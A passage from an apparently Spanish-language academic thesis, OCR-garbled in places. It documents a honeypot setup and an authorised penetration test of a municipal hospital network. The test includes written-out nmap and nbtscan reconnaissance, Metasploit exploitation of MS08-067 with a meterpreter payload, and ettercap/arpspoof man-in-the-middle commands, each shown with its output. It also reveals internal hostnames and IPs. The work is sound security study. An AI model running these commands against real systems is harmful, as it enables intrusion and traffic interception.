[T] walidar configuracién al salir [ Opciones avanzadas... ]

[ Aceptar ][ Cancelar ]

Gréfico # 24: Configuracion de RED Honeypot Windows

Fuente: El Autor

A continuacién se instala el Software HoneyBot, el cual funciona abriendo un
gran numero de sockets que los relaciona a servicios, deliberadamente
vulnerables a manera de servidores reales, capturando y registrando de manera

segura toda la comunicacion del atacante para su posterior analisis.
(hackplayers.com, 2009)

Una vez instalado HoneyBot, se procede a configurar los parametros

necesarios para su funcionamiento, tal como se observa a continuacion.
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—icw
%/ HoneyBOT - [=]x]
| =3 (i | ’ 4 [
2 &R/
Parts Date | Time | Remote IP | Remate Port | Local IF | Local Part Pratocol Byt
Remates
Q % Options
General lEmaiI Alert] Exports] Updates]
[v Enable 5ound Alert
[v Capture Binaries
v Automatically Fotate Log
Enter the alias name that HoneyBOT will operate under.
Server Name publics
0K | Cancel | Apply
< >
0 records 0 sockets
14 Inicio % HoneyBOT

Grafico # 25: Configuracién del honeypot HoneyBot

Fuente: El Autor

Luego se debe instalar el software SEBEK_Client para la captura y envio de
datos al servidor; para su configuracibn se debe ejecutar la aplicacion
“configuration_Wizard.exe” para iniciar el asistente de configuracion en el

Grafico #26 en donde se deberéa proporcionar los siguientes datos:

- Direccion MAC de la tarjeta ethl del Honeywall. 00:0C.29:0A:82:E1
- Direccién IP de destino de los paquetes SEBEK: 10.0.0.100
- Puerto de destino de los paquetes SEBEK: 6969
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Sebek Configuration Wizard - Server Configuration lﬁ

Server Configuration
Sebelk logs all data it collects to a central server. Please specify the information

sebek will use to generate packets the server can collect.

Thig field specifies the MAC address to use for all outgoing packets. If the logging server is
more than one hop away from the honeypot, then the Destination MAC should be set to the
MAL of the default gateway for this netwaorl.

Destination MALC: WEEEEIE_H

This field defines the |P address used in all the packets generated by Sebek. Since the
Sebek server does not look at the Destination IP address when it collects packets, it is not
required nor recommended to set this to |P of the Sebek server.

Destination IP: | 10 . 0 . 0 . 100

This field defines the LUDP destination port to be configured in the Sebek packets. This value
is used by the Serverto idertify packets of interest.

Destination Port:  |6965

< ftras Siguiente = Cancelar fyuda

Gréfico # 26: Configuracion del cliente SEBEK en el Honeypot

Fuente: El Autor

Los parametros ingresados, fueron establecidos en la instalacién del Honeywall

de acuerdo a lo establecido en la Tablas 3.03.

3.4.6 Configuracién de reenvio de puertos

Con la finalidad de enrutar todas las peticiones externas hacia el Honeypot se

deberan configurar en el router de frontera el reenvio de los puertos necesarios
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hacia el Honeypot cuya direccion IP es 10.0.0.20, tal como se muestra a

continuacion:

TP-LINKC

Status

— Basic Settings —
Quick Setup
Network

— Advanced Settings —
DHCP
Forwarding

- Port Triggering

-DMZ

-UPnP

Security

Static Routing

Session Limit

QoS

IP & MAC Binding

Dynamic DNS

Switch Settings
— Maintenance —

System Tools

Dual-WAN SMB Broadband Router
Model No.:TL-R480T+

Virtual Servers

ID Service Port IP Address Protocol Status

1 1-24 10.0.0.20 ALL Enabled
2 26-109 10.0.0.20 ALL Enabled
31111024 10.0.0.20 ALL Enabled

Add New__| [ Enable All | [ Disable All | [ Delete Al |

Modify
Modify Delete
Modify Delate
Modify Delate

Previous Mext

Gréafico # 27: Reenvio de Puertos en el Router de Frontera

Fuente: El Autor

3.5 Prueba de penetracion mediante hacking ético

Para el analisis de las vulnerabilidades se realizara un hacking ético en un

ambiente controlado el cual constara de los pasos descritos en el capitulo 2.

Para la ejecucion de las tareas de penetracién al sistema utilizaremos varias

herramientas contenidas en la Distribucién Kali Linux 1.0 virtualizado en un
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equipo conectado a un punto de red conectado al switch de distribuciéon SD1 en
la VLAN 10 de produccion.

351 Reconocimiento pasivo o footprinting

Para efectuar el primer paso de un hacker en una prueba de penetracion,
inicialmente debemos cambiar la MAC-ADDRESS del equipo desde el cual

vamos a realizar el ataque para enmascarar la verdadera identidad fisica.

Para esto se debe utilizar el comando “:#macchanger —m 00:26:5a:11:22:33
eth0” donde 00:26:5a:11:22:33 corresponde a una MAC ADDRESS ficticia de
un dispositivo de marca DLink para simular el ataque desde un dispositivo de

eSa marca.

En la fase de reconocimiento es de mucha utilidad conocer la direcciones IP,
mascara de subred, direccion del Gateway, direcciones de DNS, todas éstas
son asignadas al equipo atacante mediante un servidor de DHCP existente en
la red.

Se obtiene la informacién de red mediante los comandos:

# ifconfig ethO

# nslookup ambato.gob.ec

# route

La direccion IP obtenida corresponde al segmento de red 192.168.1.0/24, la
direccion del servidor de DNS 192.168.1.7 y la direccion de la puerta de enlace
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192.168.1.11, ademas se puede visualizar la nueva direccion MAC falsa, lo cual

podemos observar a continuacion:

root@kali: ~

~# ifconfig eth®
ethd Link encap:Ethernet HwWaddr 08:26:5a:11:22:33

inet6 addr: feB0::20c:29ff;feb5:25a8/64 Scope:lLink

UP BROADCAST RUNNING MULTICAST MTU:15G0 Metric:1

RX packets:5047 errors:0 dropped:3 overruns:@ frame:0
TX packets:47 errors:0 dropped:Q overruns:0 carrier:@
collisions:0 txqueuelen:1000

RX bytes:445059 (434.6 KiB) TX bytes:4735 (4.6 KiB)
Interrupt:19 Base address:0x2024

:~# nslookup ambato.gob.ec
Server: 192.168.1.7
Address: 192.168.1.7453

Mon-authoritative answer:
Mame:  ambato.gob.ec
Address: 192.155.95.93

~# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref
default 192.168.1.11 0.0.0.0 UG 0 0
192.168.1.0 * 255.255.255.0 U 0 0
i~

inet addr:192.168.1.207 Bcast:192.168.1.255 Mask:255.255.255.0

Use Iface
0 ethd
0 eth@

Gréfico # 28: Direccionamiento IP otorgado para prueba de penetracién

Fuente: El Autor

A continuacion se determina si esta puerta de enlace nos permite el acceso a

internet, a una direccibn escogida al azar, que en este caso es

www.ambato.gob.ec mediante el uso del comando Windows

“tracert

ambato.gob.ec” y asi obtener datos de los saltos de un paquete en la red

antes de alcanzar su objetivo en el internet el internet.


http://www.ambato.gob.ec/

Microsoft Windows [Versidn 6.1.76801
Copyright <c? 2889 Microsoft Corporation. Reservadoz todos los derechos.

C:slserssadninistrador>tracert ambato.goh.ec

Traza a la direccidn ambato.goh.ec [192.155.95.931
mobre un maximo de 38 saltos:

i {1 ms <1 ms <1 ms 1%2.168.1.11
2 * * * Tiempo de espera agotado para esta solicitud.
3 * * * Tiempo de espera agotado para esta solicitud.
4 3 ms 1 ms 1 me 108.201.23.254
5 18 ms 18 m= 19 me 18.281.23_237
6 26 ms 25 m= 25 msz 108.281.111.14%
7 24 ms * * 18.2081 .11 .197
8 26 ms 27 ms 279 ms 18.201.111.179
9 24 ms 25 ms 24 ms 10.201.111.16%
i@ 89 ms 112 ms 89 ms sl-st3Bmnia—B@-0-2-2.sprintlink.net [144.223.244.
331
11 87 ms 88 ms 88 ms 144.232.6.19
i2 87 ms 86 ms 86 ms 144.232.18.234
13 99 ms 79 m= 9% mz ae—32-52_ebr2_Miamil.Level3.net [4.69.138.1231]
14 188 ms 188 ms 182 ms ae—-2-2.ebr2_Atlanta2.Level3._net [4.69.148.1421]
15 77 ms 29 n= 29 me ae—-2-5%2.edged.AtlantaZ_Level3d.net [4.69.158.771]
16 229 ms 217 m= 287 me GIGLIMR-INC.edged.Atlanta2._Level3._.net [4.35.6_11
41
17?7 79 ms 77 ms 188 ms routerZ2—atl.linode.com [64.22.1686.141]
i8 99 ms 188 ns 99 ms www.ddlinux.com [1%2.155.95.231
Traza completa.
C:sUserssadninistrador>
Gréfico # 29: Traza de un paquete enviado al internet

Fuente: El Autor
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Como se pudo observar, un paquete realiza varios saltos hasta llegar al internet

determinandose que la puerta de enlace al internet es 192.168.1.11 y el

siguiente salto es desconocido debido a que el router del proveedor de internet

no muestra su direccion.

3.5.2

Escaneo de la infraestructura

Una vez gque se ha obtenido informacion mediante el analisis de reconocimiento

o footprinting, procedemos a utilizar herramientas de escaneo activo para asi

determinar o tener una mejor idea de la topologia de la red.
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Para esta fase utilizaremos la herramienta Nmap incluida en la suite Kali Linux,
la cual nos permite obtener desde un listado de los hosts activos en la red, sus

puertos abierto, los sistemas operativos instalados, etc.
Se inicia el escaneo con“# nmap 192.168.1.0/24 —sP-T4”

La ejecucion de este comando realiza un escaneo de los hosts activos en la red
192.168.1.0 a una velocidad T4 superior a la normal y que los resultados se
escriban en el archivo equipos.txt para su posterior analisis tal como se muestra

a continuacion:

~# nmap 192.168.1.0/24 -sP -T4

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-02 16:52 EST
Mmap scan report for 192.168.1.1

Host is up (0.028s latency) .

MAC Address: DC:9F:DB:SE:8C:4E (Ubiguiti MNetworks)
Mmap scan report for 192.168.1.3

Host is up (0.0039s latency) .

MAC Address: DC:9F:DB:5E:8C:4E (Ubigquiti MNetworks)
Mmap scan report for 192.168.1.4

Host is up (0.0037s latency) .

MAC Address: DC:9F:DB:S5E:8C:4E (Ubiguiti Networks)
MNmap scan report for 192.168.1.5

Host is up (0.0038s latency) .

MAC Address: DC:9F:DB:5E:8C:4E (Ubigquiti MNetworks)
Mmap scan report for 192.168.1.6

Host is up (0.0043s latency) .

MAC Address: DC:9F:DB:SE:8C:4E (Ubigquiti Networks)
Mmap scan report for 192.168.1.7

Host is up (0.0041ls latency) .

MAC Address: DC:S9F:DB:5E:8C:4E (Ubigquiti Networks)
Mmap scan report for 192.168.1.8

Host is up (0.0045s latency) .

Gréfico # 30: Escaneo de Hosts activos mediante Nmap

Fuente: El Autor

En el archivo generado equipos.txt, encontramos el listado total de los hosts
activos en la red al momento de la busqueda, su direccion IP, la MAC
ADDRESS vy la marca, con lo cual ya poseemos un listado de las posibles

victimas para el ataque.
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Una vez que ya tenemos la informacion general de puertos y sistemas
operativos, se procede a obtener informacion de NetBIOS de Windows
utilizando el comando “:#nbtscan 192.168.1.0/24” para obtener la informacién

de todos los dispositivos de la red.

:~# nbtscan 192.168.1.0/24
Doing NBT name scan for addresses from 192.168.1.0/24
IP address MetBIDS Name Server User
192.168.1.0 Sendto failed: Permission denied
192.168.1.14 D214VISITAS <sarvers <unknown=
192.168.1.4 SISTEMASDESARRD =server= =unknown=
192.168.1.6 NODSERVERI1 <sarver> <unknown=
192.168.1.131 D2131CALLCENTER =server= =unknown=
192.168.1.5 ROBOT <saryver= <unknown=
192.168.1.8 DBSERVER =sarvers <unknown=
192.168.1.136 D2136HOSPMUJER  =server= =unknown=
192.168.1.37 HPCONTABI =unknown=
192.168.1.7 ACTDIRSERVER <servers= <unknown=
192.168.1.205 DIEGUIN-PC <sarvers= <unknown=
192.168.1.203 USUARIO PC =sarvers =unknown=
192.168.1.142 DZ14ZHOSPITALPE | =server= =unknowns
192.168.1.255I Sendto failed: Permission denied

~H#

Gréfico # 31: Informacién de NetBIOS de la red mediante Nbtscan

Fuente: El Autor

La informacién obtenida es de mucha importancia, ya que podemos tener idea
mediante el nombre de NetBIOS, cual es la funcidén o ubicacion e cada uno de

los Hosts localizados.

Para determinar que puertos se encuentran abiertos en un equipo especifico,
en este caso DBSERVER que tiene como direccion IP 192.168.1.7 realizaremos

un nuevo escaneo con Nmap de la siguiente manera “#nmap 192.168.1.8 —open -O”



Nmap scan report for 192.168.1.8
Host is up (0.0082s latency).
Not shown: 989 closed ports
PORT STATE SERVICE
135/tcp  open msrpc

139/tcp  open netbios-ssn
445/tcp  open microsoft-ds
1521/tcp open oracle
2301/tcp open compagdiag
238l/tcp open compag-https
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open  unknown
49155/tcp open  unknown

Device type: general purpose

Running: Microsoft Windows 7|2008

0S details: Microsoft Windows 7 SPO
Network Distance: 1 hop

0S CPE: cpe:/o:microsoft:windows 7::-
rosoft :windows server_2808::spl cpe:/o:microsoft:windows_8
- SP1, Windows Server 2008 SP1, or Windows 8

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-02 17:00 EST

MAC Address: DC:9F:DB:5E:8C:4E (Ubiquiti MNetworks)

cpe:/o:microsoft :windows_7::spl cpe:/o:mic

Gréafico # 32: Puertos abiertos Host 192.168.1.8 DBSERVER

Fuente: El Autor
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Aqui al analizar los puertos abiertos del Host 192.168.1.8 DBSERVER podemos

afirmar que aloja una base de datos Oracle por cuanto tiene abierto el puerto

1521: Oracle

353 Identificacion de vulnerabilidades

Para esta fase del test de penetracion al sistema utilizaremos la herramienta

Nexpose Security Console en su version comunitaria, la cual ha sido instalada

en un equipo independiente debido a la gran cantidad de recursos que requiere

para su funcionamiento. Esta aplicacién se la puede descargar en la direccion

http://www.rapid7.com/products/nexpose/compare-downloads.jsp con

la cual

podemos realizar solo una tarea de escaneo simultanea de hasta 20 equipos,

es por esta razén que se ha subdivido en varias tareas el escaneo de los

equipos de la red del Hospital.


http://www.rapid7.com/products/nexpose/compare-downloads.jsp

& - O [ber//192168.1.200:2730/home.html
wgggsgpsea M Acssets Vulnerabilities Policies Reporis Adminisiration £
Home @ |57| |search
Most Vulnerable si2s - X Most Vuinerable SItes Over Time - X
Vulnerabilities o 2000 |
o 2,500 = |
= k‘°°°| —=-110-130
110-130 @ 2,000 | == jranjasenidores
=2 1000 b T
% granjasevidees - nl _‘4 —.—122.180.1.15
158-Cet 18-0ct 2°-Oct 24-Oct 30-0ct
red
Date
Lasi generated on 12/02/2012 5:20 M Last ge-erated on
Site Listing
Hame Assels Vulne abilities Risk &’: Type Scan Slalus Scan
110-130 17 4605 2,521,057 Static Scanfinishedon Tue Oct 29 2013 .j
granjaservdores 2] 901 376,939 Static Scanfinishedon Thu Oct 17 2013 u
red a 515 203,102 Static Scan finished on Thu Oct 17 2013 .j
131-150 o o 0.0 Static Mot szanred &
192 1€8.1.15 0 0 0.0 Static Seanfinished on Wed Dt 30 2012 &
[ -
4| i
Zg: .
Grafico # 33: Consola Nexpose Security
Fuente: El Autor
Una vez que se ha ingresado, debemos crear una nueva tarea:
€« - C | %bwps//192.168.1.200:3780/site/wizardjsp <7 w3
QE&EQ}PSQ M Assets Vulnerabilities Policies Reports Administration
Assets Sites Mew Site Coenfiguration 6

<4

Site Configuration

| Nex‘l| | Save | | Cancel |

e A site is a collection of assets to be scanned. Basic site configuration includes selecting a Scan Engine
access to users. You can also configure scan credentials and alerts.

Azsets
Hame |Nueva Tarea

Scan Setup

Credentials Importance

Web Applications Type Static

Organization

Description
ACcess

T

Grafico # 34: Creacion de una Tarea

Fuente: El Autor

en Nexpose
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En esta etapa de creacion de la tarea debemos seguir el asistente de creacion
en el que basicamente debemos ingresar la informaciéon que se detalla a

continuacion:

- Nombre de la tarea
- Listado de los equipos a ser escaneados (maximo 20)

- Eltipo de Escaneo. Es este caso “Full Audit”

Las credenciales de ingreso al equipo. En nuestro caso utilizaremos la cuenta

de administrador del dominio de red

Una vez que se ha finalizado el asistente de creacion de tareas, la misma
aparecera en la consola principal donde le indicaremos que inicie el proceso de

escaneo.

& C (% b#rs//192.168.1.200:3780/home.htm

— _—

’ 17-0ct 20-0ct 23-0ct 28-0ct 20-Oct
red
J Date

Site Listing

Name Assets Vulnerabilities Risk J& Type Scan Status Scan
110-130 17 Yulnerabitynstances } » ep1,067 B Staic | Scan fiished on Tue Oct 29 2013 g
granjasenidores 9 a1 376,999 Static Scan finished on Thu Oct 17 2013 u
red 9 515 203,102 Static Scan finishad on Thu Oct 17 2013 u
131-150 0 0 0.0 Static Mot scanned u

New static site 9

Gréfico # 35: Tareas creadas en Nexpose

Fuente: El Autor
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Una vez que ha finalizado el andlisis podemos obtener la informacién de los
resultados obtenidos de manera estadistica en la parte superior, y de manera

especifica en la parte inferior de la consola.

Para el ejemplo descrito, escogeremos el analisis realizado a un segmento de
equipos de la granja de servidores cuyo rango de direcciones IP es
192.168.1.1-192.168.1.8.

[T~ Address fiZ Name 0s A L, | Vulnerabilities
192.168.1.1 Cisco 10512 0 0 2

e aen : - Linux 2.6.5 -
92.168.1.3 s.hospitalmunicipal.gob.ec
192.168.1. ns.h italmunicipal.g 2615 0 12 54
Microsoft
Ui i
192.168.1.4 Sistemasdesarrollo indows 7 13 00 304
Professional
Edition 5P1
19216815 ROBOT Wicrosoft 0 20 13
R o Windows XP
Microsoft
Wi W
192.168.16 nodsenvert indows 7 0 9 10
Professional
Edition
Microsoft
P GETEEET Windows Server
192.168.1. \CTDIRSERVER 5003, Standard 12 72 a1
Edition SP1

Microsoft
Windows Server
192.168.1.8 dbserver 2008 R2, 0 24 124
Standard Edition
SP1

Linux 2.6.9-
2.6.30

192.168.1.9 mail.hospitalmunicipal.gob.ec

Grafico # 36: Resultados Generales Granja de Servidores

Fuente: El Autor

Como se puede observar en la parte superior la informacion referente a la
estadistica comparativa de los diferentes analisis en el tiempo realizados sobre
esta tarea en la parte inferior nos muestra el listado de los direcciones IP,
nombre de NetBios, el sistema operativo, el numero de malwares y
vulnerabilidades con exploits conocidos detectadas, el total de vulnerabilidades
en general, el nivel de riesgo y la fecha del ultimo escaneo realizado de cada

equipo incluido en la tarea.
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A continuacion se obtiene informacion mas detallada de cualquiera de los
equipos analizados; en este caso se escoge la IP del servidor de base de datos

19.168.1.8 tal como se observa a continuacion:

[T]= Title &8 9 CVSS  Risk Published On Severity J3

M308-063: Vulnerability in SMB Could

B | Aow Remote Code Execution (957095) 10 a1 TueOct142008 | Critical
MS08-076: Vulnerabilities in Windows
[[1 | Media Components Could Allow Remote 10 811 Tue Dec 09 2008 Critical

Code Execution (858807)

M309-013: Vulnerabilities in Windows
[ | HTTP Semices Could Allow Remate 10 a04 Tue Apr 14 2009 Critical
Code Execution (960803)

KB2607712: Fraudulent Digital

_—
Certficates Could Allow Spoofing 10 737 Mon Aug 29 2011 Critical
KB2718704: Unauthorized Digital P
Certificates Could Allow Spoofing 10 o8 Sun Jun 03 2012 crtical
M310-012: Vulnerabilities in SMB Server

[ | Could Allow Remote Code Execution i 10 799 Tue Feb 09 2010 Critical
(871468)

MS10-054; Vulnerabilities in SMB Server

[ | Could Allow Remote Code Execution @ 10 7858 Tue Aug 102010 Critical
(BB2214)

M311-020: Vulnerability in SMB Server

[ | Could Alloy 10 750 Wed Apr 13 2011 Critical
(2508429)

MS08-067: Vulnerability in Server Senice

[ | Could Allow Remote Code Execution @ 10 853 Thu Qct23 2008 Critical
(953644
MS09-001; Vulnerabilities in SMB Could P

CJ | Aliow Remote Code Execution (358527) 9w B2 Tue Jan 132009 | Critical

—
Showing 1110 20 of 81 Y Exportto CBV

Grafico # 37: Informacion de vulnerabilidades encontradas equipo 192.168.1.8

Fuente: El Autor

Aqui detalla todas las vulnerabilidades encontradas en el equipo en particular,
el nombre de la vulnerabilidad también nos indica si existe un malware o exploit
conocido para cada una de estas, el riesgo, la fecha de publicacion, la

severidad, el nUmero de instancias encontradas, etc.
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A continuacion se detalla la vulnerabilidad MS08 076, una de las mas
conocidas en sistemas Windows, la cual puede ser explotada mediante

Metasploit Framework.

Title Severity CVss Published Wodified

ISOB 067 Vunerabily in Sener Senice CoUdAIONREMAECOdE gy 4ty | 4 AUNACLAUNGCEGAG) | ot23. 2008 ago28,2013
Execution (958644)

Description v X

This security update resolves 2 privately reparted vulnerability in the Server service. The vuinerability could allow remate code execution if an affected system received a specially
trafted RPC raquest On Microsoft Windows 2000, Windaws XP, and Windows Server 2003 systems, an attacker could exploit this vuineranility without authentication to run
arbitrary code. Itis possible thatthis vulnerability could be used in the crafiing of a wormable exploit. Firewall best practices and standard default firewall configurations can help
protect network resources from attacks that originate outside the enterprise perimeter.

Affects ¥ X

Asset E site Port  Status  Proof Exceptions

Running wiinerable CIFS senice.

016317 araniasenidores W Vulnerable O: Microsoft Windows Server 2003, —
192.168.1. qranjasenidares 445 Vlnerable Standard £ifon 1 @ Excude

Received winerable status reply

Gréfico # 38: Detalle vulnerabilidad MS08-067

Fuente: El Autor

La Herramienta Nexpose nos brinda informacion completa de cada una de las
vulnerabilidades encontradas, que incluye una descripcion detallada de cada
una de éstas, las afectaciones al registro, el listado de exploits y malwares, y el

listado de soluciones a seguir para eliminar la vulnerabilidad.

Para obtener un reporte detallado de las vulnerabilidades detectadas por
Nexpose, se debe utilizar la herramienta de Reportes, la cual nos brinda
algunos tipos de reportes, desde los mas completos, hasta reportes

gerenciales.
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Un Reporte detallado de vulnerabilidades a través de esta herramienta puede
llegar a tener mas de 500 péaginas, lo cual para motivos de estudio se adjunta

como un anexo electrénico a este trabajo.

354 Penetraciéon al sistema

Luego de la fase de escaneo de la red, puertos abiertos y deteccion de
vulnerabilidades a través de la herramienta Nexpose Security, se procedera a
realizar el andlisis de la vulnerabilidad adecuada para ganar acceso al sistema

a través del equipo afectado por la misma.

Como ya se indic6 anteriormente, una vulnerabilidad encontrada es la

denominada ms08_067_netapi en varios equipos de la red.

Esta vulnerabilidad es una de las mas conocidas y explotadas en los equipos

afectados alrededor del mundo.

Para realizar un listado mas completo de los equipos afectados por la
vulnerabilidad mencionada, utilizaremos la herramienta Nmap con el siguiente

comando:

“# nmap 192.168.1.0/24 -p445,139,137,135 --script=smb-check-vulns .nse --

script-args=unsafe=1 —open > /etc/ms08067netapi.txt’,

Esta instruccién indica que se realizarA un escaneo nmap a toda la red
192.168.1.0 para buscar vulnerabilidades a través del script smb-
check_vulns.nsi en los puertos abiertos 445, 139,137 y 135.



75

Nmap scan report for 192.168.1.7

Host is up (0.0079s latency).

Not shown: 1 closed port

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: DC:9F:DB:5E:BC:4E (Ubiquiti Networks)

Host script results:

| smb-check-vulns:

| MSE8-067: VULNERABLE

| Conficker: Likely CLEAN

| SMBv2 DoS (CVE-2009-3103) : NOT VULNERABLE

| MSE6-025: NO SERVICE (the Ras RPC service is inactive)

| MSO7-029: NO SERVICE (the Dns Senver RRC service is inactive)

Gréfico # 39: Deteccion de vulnerabilidad ms08 067 _netapi mediante Nmap

Fuente: El Autor

Se pudo verificar que los equipos con direccion IP 192.168.1.7 y 192.168.1.15
mantienen esta vulnerabilidad la misma que puede ser explotada mediante el
uso de la herramienta Metasploit incluida en Kali Linux, a la cual se accede

mediante el comando : “# msfconsole”.

3.55 Exploit de vulnerabilidades

Para efectuar el exploit de la vulnerabilidad detectada se debera iniciar el
framework Metasploit a través de la instruccion “# msfconsole”, una vez iniciado
Metasploit se puede visualizar los exploits disponibles mediante el comando “:#

show exploits”.

De la lista que se muestra, procedemos a buscar la ruta del exploit necesario
para la vulnerabilidad MS08_067 el cual se denomina
“Windows/smb//ms08_067 _netapi”, el cual sera utlizado para cargar el

PAYLOAD “meterpreter/bind_tcp”, tal como se observa a continuacion:
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=[ metasploit v4.6.0-dev [core:4.6 api:l.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops

msf = use exploit/windows/smb/ms08 067 netapi

msf exploit( ) > set PAYLOAD windows/meterpreter/bind tcp
PAYLOAD == windows/meterpreter/bind_tcp

msf exploit( ) = set RHOST 192.168.1.7

RHOST == 192.168.1.7

msf exploit( ) = set LHOST 192.168.1.208

LHOST == 192.168.1.208

msf exploit( ] = exploit

Started bind handler

Automatically detecting the target...

Fingerprint: Windows 2083 - Service Pack 1 - lang:Unknown

We could not detect the language pack, defaulting to English
Selected Target: Windows 2003 SP1 English (NX)

Attempting to trigger the vulnerability...

Sending stage (752128 bytes) to 192.168.1.7

Meterpreter session 1 opened (192.168.1.208:60753 -= 192.168.1.7:4444) at 2(

e
e
4
e
H
4
e
¥

— e — — — — — —

1
1
1
1
1
1
1
1

meterpreter > |j

Grafico # 40: 38 Carga de Exploit y Payload en Metasploit

Fuente: El Autor

El Payload “meterpreter/bind_tcp” cargado nos permite establecer una puerta
trasera en el equipo a través del cual el atacante puede conectarse y ejecutar
comandos para obtener una consola de comandos sobre el equipo atacado,
descargarse archivos, migrar procesos, obtener capturas de pantalla de la
sesion del usuario del equipo, obtener informacion de configuracion, inclusive

apagar remotamente el equipo.

El procedimiento se lo realiza bajo un ambiente controlado ya que el equipo

atacado es un servidor de produccion.
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[*] Sending stage (752128 bytes) to 192.168.1.7
[*] Meterpreter session 1 opened (192.168.1.208:60753 -= 192.168.1.7:4444) at

13-12-02 18:31:29 -0500

|meterpreter = shell
Process 2176 created.

Channel 1 created.
I[Microsoft Windows [Versilin 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:AWINDOWSYsystem3Z2=ipconfig
ipconfig

Configuracifin IP de Windows

Adaptador Ethernet Conexi®n de @rea local:

Sufijo conexi®n espec@ifica DNS:

Direcci@n IP. . . . . . . . . :192.168.1.7
Méscara de subred . . . . . . : 255.255.255.0
Puerta de enlace predet.. . . : 192.168.1.254

C:\WINDOWS\system32-f]

Gréfico # 41: Shell de comandos MS_DOS equipo atacado

Fuente: El Autor

Como se puede observar , el exploit de la vulnerabilidad “ms08 067 netapi”
tuvo éxito, porque se pudo obtener una Shell de comandos en la que se puede
obtener control total del equipo, cargar y descargar archivos, activar caAmaras
web y micr6fonos, obtener acceso a otros equipos de la red, capturar pantallas,
apagarlos, etc. lo cual constituye una gran amenaza a la seguridad de la

informacion.

3.5.6 Ataque por ARP spoofing

Para ejecutar este ataque utilizaremos el comando “#arpspoof” disponible en la

suite Kali Linux hacia el equipo victima de IP 192.168.1.4 y su Gateway de

internet 192.168.1.11 de la siguiente manera:
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#arpspoof -i ethO —t 192.168.1.11 192.168.1.4 // (ataque de una via)

#arpspoof —i ethO —t 192.168.1.4 192.168.1.11 (ataque de via contraria)

De esta manera se ha “envenenado” las tablas ARP del equipo atacado y del
Gateway con la direccion MAC del equipo atacante, con lo que se logra
“‘introducir un hombre en el medio” o MITM, haciendo que todo el trafico
generado desde el host hacia el Gateway pase primero por el equipo intruso y

éste lo retransmita hacia el Gateway y viceversa.

Una forma alternativa para realizar este ataque de una manera mas eficiente es
utilizando la herramienta Ettercap también disponible en Kali Linux, la cual

puede ser invocada mediante siguientes comandos segun la necesidad:

#ettercap -T -q -i ethO—-M arp /192.168.1.11//192.168.1.4/
#ettercap -T -gq -i ethO—-M arp /192.168.100.1/ //

En el primer caso unicamente se “envenena” (ARP poisoning) las tablas ARP
de los equipos cuyas direcciones IP son 192.168.1.4 y 192.168.1.11 como en el

ejemplo anterior.

En el segundo caso se procede a “envenenar’ todos los equipos de ese
segmento de red, lo cual resulta poco practico en un ataque real por cuando se
agrega un altisimo trafico a la red y al equipo atacante ocasionando que la
performance de la LAN se vea muy deteriorada lo cual dispararia las “alarmas”

a los administradores de red.

Para efectos de este estudio solo se utilizara la primera opcién.
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Lir=F ettercap -T -g -1 eth@ -M arp /1592.168.1.11/ /192 .168.1.4/

ettercap NG-0.7.4.2 copyright 2001-2005 ALoR & NaGA
Listening on ethB... (Ethernat)

athd -= B6:0C:29:65:25:48 192,168,1.201 255,255 .255.4
Privileges dropped to UID O GID @...

28 plugins

4] protocol dissectors

56 ports monitored
1587 mac vendor fingerprint
1766 tep 05 fingerprint

2183 known services

Scanning for merged targets (2 hosts)...

¥ | s=eseeeee == ::::::::::::::::::}l 166,08 %

¢ hosts added to the hosts list...

Gréfico # 42: Ejecucion de atague con Ettercap

Fuente: El Autor

Una vez efectuado el ataque, al estar trabajando en un ambiente controlado
podemos comprobar que el “envenenamiento” tuvo éxito al comparar las tablas

ARP antes y después del atague en el equipo comprometido.
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TABLA ARP EQUIPO ATACADO 192.168.1.4

ANTES DEL ATAQUE

Microsoft Windows LUersion G.1.76@1)
Copyright <c> 2ZBB9 Microsoft Corporation. Resewrvados todos loz derechos.

Cislgerssadministrador .HOSPIDON>arp —-a

Interfaz: 192.168.1.4 === Bub
Diveccidn de Intepnet Direccidn fisica Tipo
192.168.1.3
192.168.

192.168.1.11 88-B8-al-31-5F-B5 dindnico

DESPUES DEL ATAQUE

icrosoEt Windows [Wersion b6.1.76W1]
Copyeright <c? 2889 Microsoft Corporation. Reservados todos los derechos.

svUgepsnadministrador HOSPIDON 2 arp -a
Interfaz: 192.168.1.4 ——- Bxb

Diveccidn de Internet Diveccidn Fisica Tipo
192.168.1.3

192.168.1.5

192 .168.1.11 B8-Bc-29-65-25-a8 dindmico
192.168.1.37

Gréfico # 43: Tablas ARP equipo atacado

Fuente: El Autor

Aqui observamos que la direccion MAC correspondiente a la direccién IP
192.168.1.11 que esta asignada al Gateway es diferente antes y después del
ataque por ARP spoofing, la primera corresponde a la direccibn MAC verdadera
de destino y la segunda corresponde a la direccion MAC del equipo atacante.
De la misma manera las tablas ARP del Gateway antes y después del ataque

seran diferentes.
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Una vez realizado el ataque, todos los paquetes que se originen en los equipos
comprometidos primero pasaran por el equipo atacante antes de ser re
direccionados a su destino con lo cual se posibilita la captura de la informacién

mediante Wireshark.

A continuacion se procede a realizar el analisis de paquetes de datos cuyo
origen o destino son los equipos atacados, lo cual seria imposible antes del
ataque ARP spoofing debido a que un switch crea dominios de colision
diferentes para la comunicacién entre pares de equipos por lo tanto esta
informacion no podria ser escuchada por el atacante ya que se encuentra en un

dominio de colision diferente.

.-’-.F-F-'.i-: ations aACHS I' "1._-'_. W oot

Capturing from ethO [Wireshark 1.8.5

file Edit Yiew Go Capture Analyze 3Statistics Telephony Jools [nternals Help

= & & A« a2F3 BE v
Filter: ip.sre == 192,168,1.4 and http : Expression., Clear b
Mo, Time Source Destination Protocol Length Info -

AR AL ST AR, LT LAY L™ LAY LA LU s o S WL ouuawl

10458 367. 557680000 192, 168. 1.4 192.135.95.92 HITP 465 GET fess/te| |

10474 367, 647465000 152.168. 1.4 152.155.55.53 HTTE 14 GET f'rrl:ldule

10477 367. 66467700 192, 168.1.4 182.155.95.93 HTTR 494 GET j"tErrpla

il i »
Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image /webp, */%;q=0.8\r\n
